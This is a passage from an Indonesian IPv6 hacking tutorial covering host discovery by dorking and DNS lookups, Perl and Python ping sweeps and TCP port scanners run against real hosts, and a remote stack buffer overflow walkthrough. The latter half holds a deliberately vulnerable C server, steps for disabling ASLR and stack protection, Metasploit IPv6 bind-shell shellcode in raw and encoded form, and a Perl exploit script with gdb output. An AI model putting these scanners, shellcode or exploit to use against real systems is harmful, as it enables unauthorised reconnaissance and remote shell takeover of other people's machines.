2001:44B8:8020:F501:250:56FE:FEB3:6631 2 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:6632 3 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:6633 7 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:6637 4 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:6634 5 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:6635 8 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:6638 6 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:6636 9 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:6639 10 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:663A 19 : [REACHED] 2001:44B8:8020:F501:250:56FF:FEB3:6633 Code isalive6.py di atas saya pikir telalu lambat ditambah lagi maximum thread hanya 10 yang membuat proses pencarian IPv6 live host menjadi tidak efektif. Maximum thread hanya saya batasi 10 saja karena dengan jumlah thread > 10, kombinasi os.popen3() atau os.popen() dengan thread sering berakibat pada terminasi eksekusi isalive6.py dengan background problem yang sampai saat ini belum saya ketahui (ada yang mau cari tahu?). Saya mencoba menulis ulang code tersebut dengan library scapy ternyata juga belum memuaskan bahkan sering terjadi infinite loop pada saat pengiriman ICMPv6 echo request dengan sr1(IPv6(dst="xxx")/ICMPv6EchoRequest()) Sebuah cara yang lebih elegan untuk mencari live IPv6 Host di internet yaitu dengan memanfaatkan record DNS IPv6. Sebuah IPv6 Host diwakili oleh record AAAA. Yang saya lakukan berikut ini adalah mencari domain di internet secara acak dengan bantuan google kemudian di test apakah domain tersebut memiliki record AAAA. Untuk melakukan kedua aktifitas tersebut saya membuat code 'google6.pl' dan 'get4A.sh'. Dengan kedua code tersebut proses pencarian lebih terotomatisasi. Pertama saya membuat daftar domain dengan google keyword inurl:ipv6.* perl google6.pl inurl:ipv6.* Hasil daftar domain dicatat pada file google_log-co.txt dan ditampilkan ke stdout kira kira sebagai berikut: www.ipv6.org.tw tunnelbroker.net 6bone.informatik.uni-leipzig.de www.ipv6.org www.sixxs.net www.cisco.com ipv6.net go6.net ipv6.he.net www.cyberciti.biz www.global-ipv6.net (dst) code google6.pl adalah sebagai berikut: #!/usr/bin/perl # google.pl is provided by Ph03n1X require LWP::UserAgent; use HTTP::Message; use strict; use warnings; #$proxy='http://127.0.0.1:3128'; print "Google Console\n"; if(!$ARGV[0]){ print "usage : perl $0 \n"; exit; } my $dork=$ARGV[0]; my $ua = LWP::UserAgent->new; $ua->timeout(30); $ua->agent("MSIE/6.0 Windows"); #$ua->proxy(http => $proxy) if defined($proxy); my $counter=0; my $dataget=""; my $result=""; my $host=""; my $domain=""; print "Googling using keyword : $dork\n"; while($result !~ /hasil penyajian/) { my $googleurl="http://www.google.com/search?q=" . $dork . "&hl=id&lr=&start=" . $counter . "&sa=N"; my $grabresponse = $ua->get($googleurl); $counter=$counter+10; if (!($grabresponse->is_success)) { print ($grabresponse->status_line. " [FAILURE]\n"); } else { my @hasil = $grabresponse->as_string; $result="@hasil"; sleep 1; if($result =~ /tak cocok/) { print "no result's found!\n"; exit; } while($result =~ m/

>google_log-co.txt"); print OFILE $domain . "\n"; close(OFILE); } } } print "\nDONE!\n"; # End of file Selanjutnya saya menggunakan 'get4A.sh' mencari domain mana saja yang memiliki record AAAA. Record AAAA tersebut dicatat dalam file dan ditampilkan ke stdout. File get4A.sh ada pada direktori 'ipv6-hackit/sh/' sebagai berikut: #!/bin/sh # This get4A.sh is provided by Ph03n1X LOGFILE="4A-record.txt"; if [ -z "$1" ] then echo "$0 " exit; fi for DOMAIN in `cat $1` do echo "Digging $DOMAIN (wait)" dig -t AAAA $DOMAIN|grep AAAA|grep -v \;|awk '{print "["$1"] "$5}'; dig -t AAAA $DOMAIN|grep AAAA|grep -v \;|awk '{print "["$1"] "$5}' >> $LOGFILE; done #EOF Domain yang diketahui memiliki IPv6 dicatat pada file 4A-record.txt yang isinya kurang lebih adalah: [www.ipv6forum.com.] 2001:a18:1:20::42 [www.ipv6ready.org.] 2001:468:603:c001::5 [www.ipv6.org.tw.] 2001:c50:ffff:1:21a:92ff:fe43:d665 [tunnelbroker.net.] 2001:470:0:63::2 [ns2.he.net.] 2001:470:200::2 [ns3.he.net.] 2001:470:300::2 [ns4.he.net.] 2001:470:400::2 [ns5.he.net.] 2001:470:500::2 [6bone.informatik.uni-leipzig.de.] 2001:638:902:1::11 [www.m.sixxs.net.] 2001:838:1:1:210:dcff:fe20:7c7c [ipv6.net.] 2a00:1188:3:c::80 (dst) Dengan mendapatkan daftar record AAAA dan mengkombinasikannya dengan kode buildipv6.pl dan isalive6.py atau isalive6.pl, proses discovery IPv6 bisa menjadi lebih efektif. Coba anda perhatikan perubahan pola alamat ipv6 pada NS he.net. Paham polanya kan? perhatikan bit 33-48 jika masih belum mengerti. Gunakan pola ini untuk menyusun range IPv6 address menggunakan buildipv6.pl kemudian lakukan enumerasi dengan isalive6.py atau isalive6.pl. Saya menggunakan isalive6.pl untuk menentukan host mana saja yang aktif karena proses enumerasi menggunakan kode ini lebih cepat. Kode ini tidak menggunakan thread tetapi memanfaatkan fork. Jumlah child proses yang digunakan adalah 100 buah. #!/usr/bin/perl # isalive6.pl is provided by Ph03n1X # I use fork() to simplify this code even it is not as effective # as using threading in memory. use strict; use warnings; use Switch; use POSIX; my $LOGFILE = "isalive6.log"; my $MAX_CHILD = 100; MAIN: { my @IPV6LIST; if(!$ARGV[0]){ print "usage : perl $0 \n"; exit; } open(LIST,"<$ARGV[0]") or die(); chop(@IPV6LIST=); my $len = @IPV6LIST; my $i = 0; my $j = 0; while ($j <= $len){ switch (fork()){ case (0) { doping6($j,$IPV6LIST[$j]);_exit(0); } case (-1) { print "Can not fork!\n";_exit(-1); } else { if($i>$MAX_CHILD-2){ wait();$i--; } } } $i++;$j++; } print "Total Host Scanned : " . $i+1 . "\n"; close(LIST); } sub doping6 { my($tid,$ipv6host) = @_; open(OFILE,">>$LOGFILE"); my @pinglist = `ping6 -c2 -s0 $ipv6host`; my $result = "@pinglist"; if($result =~ m/8 bytes from/){ print $tid . " : [REACHED] " . $ipv6host . "\n"; print OFILE "[REACHED]" . $ipv6host . "\n"; }else{ print $tid . " : [NOT REACHED] " . $ipv6host . "\n"; } close(OFILE); } Hasil enumerasi IPv6 host yang aktif ditampilkan ke stdout dan disimpan dalam file seperti hasil isalive6.py. Tahap selanjutnya pada proses hacking setelah menemukan host aktif adalah menemukan service/layanan/port yang aktif pada host tersebut. Untuk melakukan scanning port pada IPv6 host, saya membuat dua buah port scanner ditulis dalam kode python dan perl. Port scanner python menggunakan threading untuk mempercepat proses scanning tetapi hanya mensupport alamat IPv6 unicast dan tidak alamat IPv6 link-local. Port scanner perl menggunakan fork untuk mempercepat proses scanning dan mensupport baik alamat IPv6 unicast maupun multicast termasuk link-local. Port scanner tersebut masing-masing ada di ipv6-hackit/perl/tcpscan6.pl dan ipv6-hackit/python/tcpscan6.py. Silakan gunakan kedua port scanner tersebut sesuai kebutuhan anda. Untuk selanjutnya saya menggunakan tcpscan6.pl dalam melakukan scanning port. Kode tcpscan6.pl adalah sebagai berikut: #!/usr/bin/perl # Port scanner tcpscan6.pl coded by Ph03n1X #cpan IO::Socket::INET6 use IO::Socket::INET6; use Getopt::Long; use strict; use warnings; use Switch; use POSIX; my $MAX_CHILD = 50; my $LOGFILE = "tcpscan6.log"; my $i=0; sub doTcpscan6 { my ($host,$port) = @_; open (WFILE,">>$LOGFILE"); my $s = IO::Socket::INET6->new(PeerAddr => $host, PeerPort => $port, Domain => AF_INET6, Timeout => 5); if($s){ print "[OPEN] $host on $port\n"; print WFILE "[OPEN] $host on $port\n"; }else{ print "[CLOSE/FIREWALL] $host on $port\n"; } close(WFILE); } sub doFork { my ($host,$port,$count) = @_; switch(fork()){ case (0) { doTcpscan6($host,$port);_exit(0); } case (-1) { print "Can not fork!\n";_exit(-1); } else { if($port>$MAX_CHILD-2){ wait();$count--; } } } } sub usage { print " TCP IPv6 Scanner Usage : [--help|-h] - This help [--target|-t] - Target single IPv6 address [--in-file|-i] - Target list of IPv6 address in file [--port|-p] - Target port. Multiple ports separated by comma [--range|-r] - Target range port. Ex : 100-200 \n"; } MAIN: { my @IPV6LIST; if(!$ARGV[0]){ usage(); exit; } my ($help,$target,$infile,$mport,$rport); GetOptions( 'help' => \$help, 'target=s' => \$target, 'in-file=s' => \$infile, 'port=s' => \$mport, 'range=s' => \$rport, ) or die "Invalid options!! Try --help for details.\n"; if($help){ usage(); exit; } if($target && $infile){ print "ERROR! Can not use [--target|-t] with [--in-file|-i]\n"; exit; } if($mport && $rport){ print "ERROR! Can not use [--port|-p] with [--range|-r]\n"; exit; } my $count=1; if($target){ if($target =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){ print $target . " is not valid IPv6 address!\n"; exit; } if($mport){ my @allport = split(',',$mport); foreach my $port (@allport){ doFork($target,$port,$count); $count++; } } if($rport){ my @allport = split('-',$rport); my $lowport = $allport[0]; my $highport = $allport[1]; if($lowport>$highport){ print "ERROR! Left port must be lower than in the right!\n"; exit; } for(my $i=$lowport;$i<=$highport;$i++){ doFork($target,$i,$count); $count++; } } } if($infile){ open(RFILE,"<$infile") or die(); chop(@IPV6LIST=); my $len = @IPV6LIST; my $j=0; for($j=0;$j<$len;$j++){ if($IPV6LIST[$j] =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){ print $IPV6LIST[$j] . " is not valid IPv6 address!\n"; exit; } if($mport){ my @allport = split(',',$mport); foreach my $port (@allport){ doFork($IPV6LIST[$j],$port,$count); $count++; } } if($rport){ my @allport = split('-',$rport); my $lowport = $allport[0]; my $highport = $allport[1]; if($lowport>$highport){ print "ERROR! Left port must be lower than in the right!\n"; exit; } for(my $k=$lowport;$k<=$highport;$k++){ doFork($IPV6LIST[$j],$k,$count); $count++; } } } close(RFILE); } #end if infile } Untuk mengetahui cara menggunakan tcpscan6.pl cukup ketikkan di shell linux/unix 'perl tcpscan6.pl --help'. TCP IPv6 Scanner Usage : [--help|-h] - This help [--target|-t] - Target single IPv6 address [--in-file|-i] - Target list of IPv6 address in file [--port|-p] - Target port. Multiple ports separated by comma [--range|-r] - Target range port. Ex : 100-200 anto@h4x0r$ cat tcp6.log 2001:44B8:8020:F501:250:56FF:FEB3:6633 www.jp.freebsd.org 10.1.1.254 anto@h4x0r$ perl tcpscan6.pl --in-file tcp6.log -r 20-25 10.1.1.254 is not valid IPv6 address! [CLOSE/FIREWALL] www.jp.freebsd.org on 20 [OPEN] www.jp.freebsd.org on 22 [CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 20 [CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 21 [CLOSE/FIREWALL] www.jp.freebsd.org on 21 [OPEN] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 22 [CLOSE/FIREWALL] www.jp.freebsd.org on 24 [CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 23 [CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 24 [CLOSE/FIREWALL] www.jp.freebsd.org on 23 [CLOSE/FIREWALL] www.jp.freebsd.org on 25 [CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 25 anto@h4x0r$ cat tcpscan6.log [OPEN] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 22 [OPEN] www.jp.freebsd.org on 22 anto@h4x0r$ perl tcpscan6.pl --target www.jp.freebsd.org -p 21,22,23,25,80,110 [CLOSE/FIREWALL] www.jp.freebsd.org on 21 [OPEN] www.jp.freebsd.org on 22 [OPEN] www.jp.freebsd.org on 80 [CLOSE/FIREWALL] www.jp.freebsd.org on 23 [CLOSE/FIREWALL] www.jp.freebsd.org on 25 [CLOSE/FIREWALL] www.jp.freebsd.org on 110 anto@h4x0r$ cat tcpscan6.log [OPEN] www.jp.freebsd.org on 22 [OPEN] www.jp.freebsd.org on 80 anto@h4x0r$ Proses scanning port TCP berjalan dengan baik. Hasilnya ditampilkan ke stdout dan disimpan dalam file 'tcpscan6.log'. Ipv6-hackit yang saya susun hanya mensupport enumerasi live host dan scanning berbasiskan TCP. Anda bisa menciptakan sendiri port scanner berbasiskan SYN packet untuk IPv6 dengan memahami apa yang saya paparkan di 'ipv6-hackit/perl/tcpscan6.pl' dan mengkoding ulang kode tersebut menggunakan library scapy pada 'ipv6-hackit/test/oport6-syn.py'. Atau anda menginginkan untuk melakukan scanning versi layanan/service ditiap port yang terbuka? Anda bisa menambahkan fungsi recv() untuk mengambil tiap banner dari layanan yang aktif. Anda bisa juga mengkombinasi scanner pada ipv6-hackit dengan 'nmap -6' untuk berbagai keperluan. Saat ini 'nmap -6' hanya mensupport enumerasi live host dan scanning berbasiskan TCP saja layaknya ipv6-hackit. Tools IPv6 Scanner yang lain bisa ditemui di internet adalah: - strobe berjalan di linux - scan6 berjalan di windows - halfscan6 berjalan di linux - netcat6 berjalan di linux (windows?) - thc-ipv6/alive6 berjalan di linux Proses enumerasi dan scanning host pada IPv6 memang menjadi challange tersendiri karena banyaknya jumlah IPv6 yang mungkin. Oleh karena itu saya rekomendasikan untuk mengkombinasi dan mengcustom setiap tools yang anda gunakan. --[7]-- Writing Remote Exploit & Shellcoding IPv6 menggunakan socket yang berbeda dengan IPv4 sehingga exploit yang beredar saat ini di internet tidak bisa digunakan begitu saja untuk mengeksploitasi aplikasi/layanan IPv6. Exploit yang ada saat ini bisa diporting sehingga menggunakan socket kompatible IPv6 atau bisa juga direlay/proxy untuk mengeksploitasi IPv6 melalui IPv4. Hal yang cenderung lebih rumit adalah mengenai shellcode/payload yang digunakan exploit tersebut. Shellcode harus dikode ulang agar berjalan di IPv6. Berbagai celah keamanan sering ditemukan pada software sehingga bisa dieksploitasi secara remote. Celah kemanan tersebut bisa berupa buffer overflow(stack/heap), format string, off by one dan lainnya. Exploitasi celah keamanan tersebut sering digunakan untuk mengambil alih komputer yang vulnerable. --[7.1]-- Exploitasi Stack Based Buffer Overflow Buffer overflow merupakan celah keamanan yang sudah sangat tua tetapi masih banyak sekali software yang memiliki celah tersebut. Exploitasi buffer overflow pertama kali didokumentasikan oleh aleph1 pada Phrack magazine issue 49 tahun 1996 [xii]. Aleph1 menjelaskan konsep buffer overflow dengan sangat baik sehingga tidak perlu bagi saya untuk menjelaskan ulang apalagi tutorial tentang buffer overflow saat ini sudah sangat banyak dijumpai di internet baik dalam bahasa inggris maupun bahasa indonesia. Sebuah tantangan tersendiri bagi para hacker dalam melakukan exploitasi buffer overflow adalah bagaimana membypass proteksi keamanan yang saat ini semakin kompleks. Proteksi terhadap exploitasi stack based buffer overflow meliputi: - Non-executable stack, untuk membypassnya digunakan teknik yang dikenal dengan return-to-libc-attack. - Randomized virtual address digunakan oleh hampir semua distro linux saat ini, untuk membypassnya bisa memanfaatkan informasi dari linux-gate.so. [xiii] - Exec-shield digunakan oleh linux redhat dan turunannya, untuk membypassnya silakan mengacu pada artikel yang ditulis oleh inetcop security. [xiv] - Stack-smashing protection (SSP), proteksi buffer overflow dilevel kompiler. Saya belum menemukan referensi yang cukup detail untuk membypass jenis proteksi ini. Ada yang tahu? Bagi referensinya :) Pada percobaan ini saya menggunakan Ubuntu 8.10 yang default installasinya sudah memproteksi buffer overflow dengan randomized virtual address dan Stack-smashing protection. Tulisan ini tidak hendak membahas bagaimana membypass proteksi buffer overflow, tetapi lebih pada bagaimana menulis exploit remote buffer overflow pada layanan yang berjalan di IPv6. Oleh karena itu saya mendisable kedua fitur security tersebut dengan cara sebagai berikut: sysctl kernel.randomize_va_space=0 (Disable randomize VA) gcc -fno-stack-protector (Disable stack-smashing protection) Pada dasarnya proses exploitasi remote buffer overflow pada IPv4 dan IPv6 cenderung sama. Yang membedakan adalah socket dan shellcode yang digunakan. Untuk mengilustrasikan proses eksploitasi tersebut, saya menggunakan kode C yang dibuat vulnerable sebagai berikut: //server-demo6.c #include #include #include #include #include #include #include #define PORT "55555" int readbuff(char *str){ char got[200]; strcpy(got,str); printf("MSG = %s\n",got); return 0; } int main(int argc, char *argv[]){ struct sockaddr_in6 from; struct addrinfo req, *ans; int code, s, s2, len, retval; char buff[1024]; memset(&req, 0, sizeof(req)); req.ai_flags = AI_PASSIVE; req.ai_family = AF_INET6; req.ai_socktype = SOCK_STREAM; req.ai_protocol = 0; retval = getaddrinfo(NULL,PORT,&req,&ans); if(retval!=0){ printf("ERROR!getaddrinfo\n"); exit(1); } s = socket(ans->ai_family, ans->ai_socktype, ans->ai_protocol); if(s<0){ printf("ERROR!socket\n"); exit(1); } if (bind(s, ans->ai_addr, ans->ai_addrlen) < 0){ printf("ERROR!bind\n"); exit(1); } listen(s,5); while(1){ s2,len = sizeof(from); s2 = accept(s, (struct sockaddr *) &from, &len); if(s2<0){ continue; } send(s2,"IPv6 Demo Server v0.01\n\r",32,0); recv(s2,buff,sizeof(buff),0); readbuff(buff); close(s2); } freeaddrinfo(ans); exit(0); } Pada fungsi readbuff(), variable 'got' didefinisikan sebagai array dengan ukuran 200 bytes. Fungsi strcpy() melakukan pengcopy-an isi variable 'str' ke variable 'got' tanpa melakukan pengecekan ukuran variable 'str'. Dari fungsi main(), readbuff() dipanggil dengan menambahkan parameter berupa variable 'buff' yang nilainya bisa diubah ubah oleh user. Nilai 'str' pada fungsi readbuff() merupakan nilai 'buff' pada fungsi main(). Ketika user menginputkan string lebih dari 200 bytes ke variable 'buff', ukuran variable 'got' tidak mencukupi jumlah string tersebut. Kondisi inilah yang dikenal dengan buffer overflow. gcc -o server-demo6 -fno-stack-protector server-demo6.c gdb -q ./server-demo6 (gdb) r Starting program: /home/anto/k-elektronik/code/exploit/server-demo6 Kompile file IPv6 server demo tersebut menggunakan 'gcc', kemudian lakukan debugging menggunakan 'gdb'. Proses ini saya lakukan dari komputer dengan alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5401/64. Ketika IPv6 server demo itu dijalankan, dia membuka layanan di port 55555/tcp. Untuk selanjutnya komputer ini saya sebut dengan PCSERV. Proses exploitasi PCSERV saya lakukan dari komputer lain dijaringan dengan alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403/64. Untuk selanjutnya komputer ini saya sebut dengan PCATTCK. PCATTCK attack~> sudo apt-get install netcat6 attack~> echo AAAAAAA|nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555 IPv6 Demo Server v0.01 attack~> echo `perl -e 'print "A"x250'`|nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555 IPv6 Demo Server v0.01 PCSERV (gdb) r Starting program: /home/anto/k-elektronik/code/exploit/server-demo6 MSG = AAAAAAA xæü = MSG = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ¿4è Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0xb7fd10d0 -1208151856 ebx 0xb7fcfff4 -1208156172 esp 0xbffff7b0 0xbffff7b0 ebp 0x41414141 0x41414141 esi 0x8048830 134514736 edi 0x8048580 134514048 eip 0x41414141 0x41414141 eflags 0x10292 [ AF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 PCATTCK menginstall netcat dengan support IPv6, pertama PCATTCK mengirimkan 7 bytes karakter A dan diterima PCSERV. Selanjutnya PCATTCK mengirimkan 250 bytes karakter A dan diterima PCSERV dalam kondisi crash. Gdb menunjukkan bahwa register EIP teroverwrite oleh karakter A tersebut (A dalam hexal 0x41). Untuk mengeksploitasi lebih jauh, kita harus mengetahui offset program yang vulnerable. Untuk mengetahui offset program, kita bisa menggunakan tools pada metasploit yaitu tools/pattern_create.rb dan tools/ pattern_offset.rb. Untuk program sederhana di atas anda bisa mengetahui nilai offset tanpa harus repot repot yaitu 204. Setelah mengetahui offset program, selanjutnya adalah menentukan shellcode yang akan digunakan untuk mengambil alih program tersebut. Metasploit memiliki 3 shellcode dengan support IPv6 untuk linux/x86 yaitu: linux/x86/shell/bind_ipv6_tcp shellcode ini ada dua stage, stage pertama binding pada port TCP, stage kedua mengeksekusi /bin/sh. linux/x86/shell/reverse_ipv6_tcp shellcode ini ada dua stage, stage pertama connect-back pada port TCP melalui IPv6, stage kedua mengeksekusi /bin/sh. linux/x86/shell_bind_ipv6_tcp shellcode melakukan port binding pada port TCP sekaligus mengeksekusi /bin/sh. Jika assembly anda cukup keren, buatlah shellcode sendiri untuk memenuhi kebutuhan anda. Pada artikel ini saya menggunakan shellcode linux/x86/shell_bind_ipv6_tcp metasploit. attack~> ./msfpayload linux/x86/shell_bind_ipv6_tcp perl # linux/x86/shell_bind_ipv6_tcp - 90 bytes # http://www.metasploit.com # AppendExit=false, PrependChrootBreak=false, # PrependSetresuid=false, PrependSetuid=false, LPORT=4444, # RHOST=, PrependSetreuid=false my $buf = "\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80" . "\x96\x99\x52\x52\x52\x52\x52\x52\x66\x68\x11\x5c\x66\x68" . "\x0a\x00\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58" . "\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x52\x52\x56\x89\xe1\x43" . "\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8" . "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" . "\x89\xe1\xb0\x0b\xcd\x80"; Shellcode di atas memiliki NULL karakter (\x00) sehingga tidak injectable. NULL karakter dianggap sebagai terminasi sebuah string sehingga harus dihilangkan. Untuk itu saya mengencode shellcode tersebut. attack~> ./msfpayload linux/x86/shell_bind_ipv6_tcp R > /tmp/xxh attack~> ./msfencode -i /tmp/xxh -b '\x00' -t perl [*] x86/shikata_ga_nai succeeded with size 118 (iteration=1) my $buf = "\x33\xc9\xb1\x17\xdb\xdf\xd9\x74\x24\xf4\xbb\xeb\xfe\xc9" . "\xcd\x5a\x31\x5a\x16\x03\x5a\x16\x83\xc2\x04\xe2\x1e\xcf" . "\x12\x9e\xa3\x63\xcf\x2b\xaa\x65\x65\x4a\xf4\xa8\xfa\x04" . "\x9d\x61\xa9\x7a\xcf\xd7\x1f\x1d\x87\xc6\xc3\x87\x3f\xe3" . "\xfb\xce\x5e\x99\xe7\x81\xf6\xd7\xf9\x61\x9c\x81\xa1\xa8" . "\xe0\xfe\x34\x80\xe4\x33\x38\xb4\xb6\x9d\xb0\xd8\x75\x92" . "\xa5\xd7\xf9\x41\x70\x82\xc6\x3d\x4e\xd2\x71\xc7\xa8\xbb" . "\xae\x18\x3a\x54\xd8\x49\xde\xcd\x76\x1f\xfd\x5e\xd5\x96" . "\xe3\xef\xd2\x65\x63\x05"; Shellcode hasil encoding memiliki ukuran 118 bytes. Untuk keperluan exploitasi kita harus menentukan alamat register stack (ESP) yang bisa di eksploitasi agar shellcode di atas dieksekusi oleh register EIP. Program kita memiliki offset 204 sehingga kita harus menyusun data untuk dikirim ke vulnerable program sebagai berikut: 4 bytes EIP 118 bytes shellcode 204-118 = 86 bytes NOP (\x90) ---------------------------------------------------- | 86 bytes NOP | 118 bytes shellcode | 4 bytes EIP | ---------------------------------------------------- Dari PCATTCK, kirimkan data tersebut menggunakan dummy eksploit berikut ke PCSERV. #!/usr/bin/perl # Remote Exploit Demo rexploit-demo6.pl by Ph03n1X use strict; use warnings; #cpan IO::Socket::INET6 use IO::Socket::INET6; if(!$ARGV[1]){ print $0 . " \n"; exit; } if($ARGV[0] =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){ print $0 . " is not IPv6 family\n"; exit; } #118 bytes shellcode bind execve on port 4444 #encoded with x86/shikata_ga_nai msf my $shellcode = "\x33\xc9\xb1\x17\xdb\xdf\xd9\x74\x24\xf4\xbb\xeb\xfe\xc9" . "\xcd\x5a\x31\x5a\x16\x03\x5a\x16\x83\xc2\x04\xe2\x1e\xcf" . "\x12\x9e\xa3\x63\xcf\x2b\xaa\x65\x65\x4a\xf4\xa8\xfa\x04" . "\x9d\x61\xa9\x7a\xcf\xd7\x1f\x1d\x87\xc6\xc3\x87\x3f\xe3" . "\xfb\xce\x5e\x99\xe7\x81\xf6\xd7\xf9\x61\x9c\x81\xa1\xa8" . "\xe0\xfe\x34\x80\xe4\x33\x38\xb4\xb6\x9d\xb0\xd8\x75\x92" . "\xa5\xd7\xf9\x41\x70\x82\xc6\x3d\x4e\xd2\x71\xc7\xa8\xbb" . "\xae\x18\x3a\x54\xd8\x49\xde\xcd\x76\x1f\xfd\x5e\xd5\x96" . "\xe3\xef\xd2\x65\x63\x05"; #NOP 86 bytes my $nop = "\x90"x86; my $eip = "\x41\x41\x41\x41"; my $s = IO::Socket::INET6->new(PeerAddr => $ARGV[0], PeerPort => int($ARGV[1]), Domain => AF_INET6, Timeout => 5); my $buffer = $nop . $shellcode . $eip; print $s $nop.$shellcode.$eip; print "Check your shell at " . $ARGV[0] . " on port 4444\n"; close($s); PCATTCK attack~> perl rexploit-demo6.pl 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555 Check your shell at 2010:5c0:1441:a0a:8891:afaf:7660:5401 on port 4444 attack~> PCSERV (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/anto/k-elektronik/code/exploit/server-demo6 MSG = 3ɱÛÙ$ôÉZ1ZZÂϣcϪeeJô¨àä´¶ Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0xb7fd10d0 -1208151856 ebx 0xb7fcfff4 -1208156172 esp 0xbffff7b0 0xbffff7b0 ebp 0x56365d2 0x56365d2 esi 0x8048830 134514736 edi 0x8048580 134514048 eip 0x41414141 0x41414141 eflags 0x10292 [ AF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/200xb $esp 0xbffff7b0: 0x48 0x2d 0xfe 0xb7 0x00 0xf7 0xff 0xbf 0xbffff7b8: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0xbffff7c0: 0x5c 0xfa 0xff 0xbf 0xf0 0xf7 0xff 0xbf 0xbffff7c8: 0xd8 0x2a 0xe8 0xb7 0x10 0x69 0x69 0x0d 0xbffff7d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff7d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff7e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff7e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff7f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff7f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff800: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff808: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff810: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff818: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff820: 0x90 0x90 0x90 0x90 0x90 0x90 0x33 0xc9 0xbffff828: 0xb1 0x17 0xdb 0xdf 0xd9 0x74 0x24 0xf4 0xbffff830: 0xbb 0xeb 0xfe 0xc9 0xcd 0x5a 0x31 0x5a 0xbffff838: 0x16 0x03 0x5a 0x16 0x83 0xc2 0x04 0xe2 0xbffff840: 0x1e 0xcf 0x12 0x9e 0xa3 0x63 0xcf 0x2b 0xbffff848: 0xaa 0x65 0x65 0x4a 0xf4 0xa8 0xfa 0x04 0xbffff850: 0x9d 0x61 0xa9 0x7a 0xcf 0xd7 0x1f 0x1d 0xbffff858: 0x87 0xc6 0xc3 0x87 0x3f 0xe3 0xfb 0xce 0xbffff860: 0x5e 0x99 0xe7 0x81 0xf6 0xd7 0xf9 0x61 0xbffff868: 0x9c 0x81 0xa1 0xa8 0xe0 0xfe 0x34 0x80 0xbffff870: 0xe4 0x33 0x38 0xb4 0xb6 0x9d 0xb0 0xd8 (gdb) Dengan menggunakan dummy exploit di atas bisa kita lihat bahwa register EIP teroverwrite oleh '\x41\x41\x41\x41'. Alamat register ESP yang bisa dieksploitasi adalah alamat yang berisi NOP misalnya adalah 0xbffff7e0. Jika alamat tersebut ditulis dalam little endian maka menjadi '\xe0\xf7\xff\xbf'. Alamat ini kemudian digunakan dalam dummy exploit untuk menggantikan nilai '$eip' sehingga menjadi $eip = '\xe0\xf7\xff\xbf'; Kirimkan ulang dummy exploit tersebut dari PCATTCK ke PCSERV. PCATTCK attack~> perl rexploit-demo6-2.pl 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555 Check your shell at 2010:5c0:1441:a0a:8891:afaf:7660:5401 on port 4444 attack~> PCSERV (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/anto/k-elektronik/code/exploit/server-demo6 MSG = 3ɱÛÙ$ôÉZ1ZZÂϣcϪeeJô¨àä´¶ Server IPv6 Demo kali ini tidak mengalami crash, 